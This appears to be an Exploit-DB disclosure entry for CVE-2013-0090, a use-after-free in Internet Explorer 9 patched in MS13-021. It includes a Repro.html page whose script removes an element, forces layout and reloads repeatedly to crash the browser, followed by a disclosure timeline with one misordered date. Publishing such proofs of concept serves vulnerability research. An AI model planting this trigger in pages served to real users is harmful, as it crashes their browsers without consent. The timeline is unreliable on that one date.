Microsoft Internet Explorer 9 - IEFRAME CView::Ensure­Size Use-After-Free (MS13-021)

EDB-ID:

40935

CVE:

2013-0090

EDB Verified:

Author:

Skylined

Type:

dos

Exploit:   /  

Platform:

Windows

Date:

2016-12-16

Vulnerable App: 
<!--
Source: http://blog.skylined.nl/20161216001.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!DOCTYPE html>
<html>
  <head>
    <script defer>
      var o­Element = document.get­Element­By­Id("ruby");
      var o­Element = o­Element.parent­Node.remove­Child(o­Element);
      document.write("<abbr></abbr>");
      document.document­Element.offset­Top;
      set­Timeout("location.reload()", 100);
    </script>
  </head>
  <body>
    <abbr dir="ltr">
      <ruby id="ruby" dir="rtl">
      </ruby>
    </abbr>
  </body>
</html>

<!--
Time-line

Sometime in October 2012: This vulnerability was found through fuzzing.
29 October 2012: This vulnerability was submitted to EIP.
27 November 2013: This vulnerability was rejected by EIP.
14 January 2013: This vulnerability was submitted to ZDI.
6 February 2013: This vulnerability was acquired by ZDI.
13 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: This vulnerability was address by Microsoft in MS13-021.
16 December 2016: Details of this vulnerability are released.
-->
Tags: Denial of Service (DoS)
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